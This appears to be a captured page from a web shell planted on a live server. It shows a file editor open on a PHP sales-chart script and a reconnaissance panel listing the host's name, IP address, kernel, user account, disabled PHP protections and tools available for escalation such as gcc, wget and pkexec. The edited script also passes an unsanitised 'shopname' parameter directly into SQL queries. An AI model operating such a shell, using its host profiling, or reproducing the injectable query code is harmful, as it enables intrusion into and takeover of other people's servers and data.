[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: getChartData.php
<?php include("../admin/includes/functions/functions.php"); include("../admin/db/db.php"); header('Content-Type: application/json'); $year = isset($_GET['year']) ? intval($_GET['year']) : date('Y'); $shopname = $_GET['shopname']; // Database connection (assuming $con and $new are already set up) $months = []; $sales = []; $discounts = []; $commissions = []; $expenses = []; for ($m = 1; $m <= 12; $m++) { $month = date('F', mktime(0,0,0,$m, 1, $year)); $months[] = $month; // Sales $stmtServices = $con->prepare("SELECT sum(price) as amount FROM services s, true_price sb, appointments a WHERE s.service_id = sb.service_id AND sb.appointment_id = a.appointment_id AND a.canceled = '0' AND a.active = 'Yes' AND MONTHNAME(a.created) = ? AND YEAR(a.created) = ? AND a.business_name = ?"); $stmtServices->execute(array($month, $year, $shopname)); $rowsServices = $stmtServices->fetchAll(); $saleamount = $rowsServices[0]['amount'] ?? 0; $sales[] = floatval($saleamount); // Discounts $dis = mysqli_query($new, "SELECT discount FROM appointments WHERE canceled = '0' AND active = 'Yes' AND MONTHNAME(created) = '$month' AND YEAR(created) = '$year' AND business_name = '$shopname'"); $too = mysqli_fetch_array($dis)['discount'] ?? 0; $stmtServices = $con->prepare("SELECT sum(price) as amount FROM services s, true_price sb, appointments a WHERE s.service_id = sb.service_id AND sb.appointment_id = a.appointment_id AND a.canceled = '0' AND a.active = 'Yes' AND MONTHNAME(a.created) = ? AND YEAR(a.created) = ? AND a.business_name = ?"); $stmtServices->execute(array($month, $year, $shopname)); $rowsServices = $stmtServices->fetchAll(); $saleamountT = $rowsServices[0]['amount'] ?? 0; $Disc = ($too / 100) * $saleamountT; $discounts[] = floatval($Disc ?? 0); // Commissions $dis = mysqli_query($new, "SELECT comRate FROM appointments WHERE canceled = '0' AND active = 'Yes' AND MONTHNAME(created) = '$month' AND YEAR(created) = '$year' AND business_name = '$shopname'"); $rate = mysqli_fetch_array($dis)['comRate'] ?? 0; $dis = mysqli_query($new, "SELECT discount FROM appointments WHERE canceled = '0' AND active = 'Yes' AND MONTHNAME(created) = '$month' AND YEAR(created) = '$year' AND business_name = '$shopname'"); $too = mysqli_fetch_array($dis)['discount'] ?? 0; $stmtServices = $con->prepare("SELECT sum(price) as amount FROM services s, true_price sb, appointments a WHERE s.service_id = sb.service_id AND sb.appointment_id = a.appointment_id AND a.canceled = '0' AND a.active = 'Yes' AND MONTHNAME(a.created) = ? AND YEAR(a.created) = ? AND a.business_name = ?"); $stmtServices->execute(array($month, $year, $shopname)); $rowsServices = $stmtServices->fetchAll(); $saless = $rowsServices[0]['amount'] ?? 0; $Disc = ($too / 100) * $saless; $afterDisc = $saless - $Disc; $Tcomm = ($rate / 100) * $afterDisc; $commissions[] = floatval($Tcomm ?? 0); // Expenses $stmt = $con->prepare("SELECT sum(item_amount) as amount FROM expenses WHERE MONTHNAME(date) = ? AND YEAR(date) = ? AND business_name = ?"); $stmt->execute(array($month, $year, $shopname)); $rows_services = $stmt->fetchAll(); $v = $rows_services[0]['amount'] ?? 0; $expenses[] = floatval($v); } echo json_encode([ 'months' => $months, 'sales' => $sales, 'discounts' => $discounts, 'commissions' => $commissions, 'expenses' => $expenses ]); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002